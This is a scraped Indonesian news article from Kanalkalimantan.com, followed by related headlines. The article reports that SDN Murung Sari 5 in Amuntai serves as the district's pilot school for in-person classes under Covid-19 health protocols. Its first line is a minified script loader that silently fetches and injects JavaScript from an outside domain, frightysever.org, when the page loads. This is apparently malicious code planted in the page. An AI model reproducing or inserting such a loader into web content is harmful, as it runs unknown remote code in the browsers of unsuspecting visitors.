(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sekolah Dasar Negeri (SDN) Murung Sari 5 di Kelurahan Murung Sari, Kecamatan Amuntai Tengah, Kabupaten Hulu Sungai Utara (HSU) dipercaya sebagai pilot project pelaksanaan sistem belajar mengajar tatap muka di tengah pandemi Covid 19.
Bupati HSU sudah mengeluarkan SK per 1 September 2020 untuk bisa melakukan penerapan sistem belajar mengajar dengan tatap muka dengan menerapkan protokol kesehatan.
Plt Kepala Dinas Pendidikan Kabupaten Hulu Sungai Utara (HSU) Junaidi kepada Kanalkalimantan.com, Rabu (14/10/2020) mengakui pihaknya telah menyetujui SDN Murung Sari 5 sebagai sekolah percontohan di Kabupaten HSU untuk pelaksanaan sistem belajar mengajar tatap muka di tengah pandemi.
“Pemerintah Dldaerah memberikan kebijakan untuk sekolah pilot projects sebagai contoh pembelajaran di sekolah dengan tetap mematuhi protokol kesehatan,” ujarnya.
Sementara itu, secara terpisah Kepala SDN Murung Sari 5 Rina Emilyana menuturkan sistem pembelajaran tatap muka berbeda dengan saat sebelum pandemi Covid 19.
Langkah awal, pihaknya telah bekerjasama dengan komite sekolah, wali murid, Dinas Kesehatan, Dinas Pendidikan, dan gugus tugas Covid-19 Kabupaten HSU untuk terus memberikan pengawasan terhadap penerapan pola pembelajaran itu.
“Berbeda dengan pola belajar mengajar yang lama, kegiatan pembelajaran tatap muka di masa pandemi ini dilakukan hanya 2 jam dimulai dari pukul 8 sampai dengan pukul 10, siswa yang hadir per hari hanya 50% dari jumlah siswa perkelas tanpa ada waktu istirahat dan kegiatan lainnya, siswa langsung pulang ke rumah masing-masing,” kata Rina Emilyana.
Ia menambahkan, sebelum memulai pembelajaran siswa yang akan masuk ke dalam kelas juga dipastikan mengenakan masker, mencuci tangan dan juga di cek suhu tubuh.
Sedangkan orangtua tidak diperkenankan memasuki lingkungan sekolah, kebiasaan bersalaman dengan wali kelas juga ditiadakan.
Setelah selesai belajar selama satu jam siswa diminta untuk melakukan peregangan dan dilanjutkan dengan pembelajaran berikutnya.
Sejak 1 September sistem pembelajaran tatap muka sudah dimulai dan selama ini terus dilakukan pemantauan dan berjalan dengan baik.
“Selama penerapan sistem ini seluruh siswa tetap dalam kondisi sehat, dan siswa bisa kembali menumbuhkan semangat belajar,” ujarnya.
Sebelumnya, pihaknya juga memastikan untuk kelayakan pelaksanaan pembelajaran dengan adaptasi pembiasaan baru ini, pihak sekolah selain melakukan penyemprotan disinfektan juga melakukan pengaturan tata ruang pembatasan jarak antar siswa, rapid tast dan Swab PCR kepada seluruh tenaga pendidik dan peserta didik.
“Kami mengucapkan terimakasih kepada semua pihak, khususnya Bupati HSU atas kepercayaan menjadikan SDN Murung Sari 5 sebagai pilot projects pada masa pandemi ini, kami berharap pandemi ini cepat berakhir sehingga kita semua dapat beraktivitas seperti semula,” pungkas Rina. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.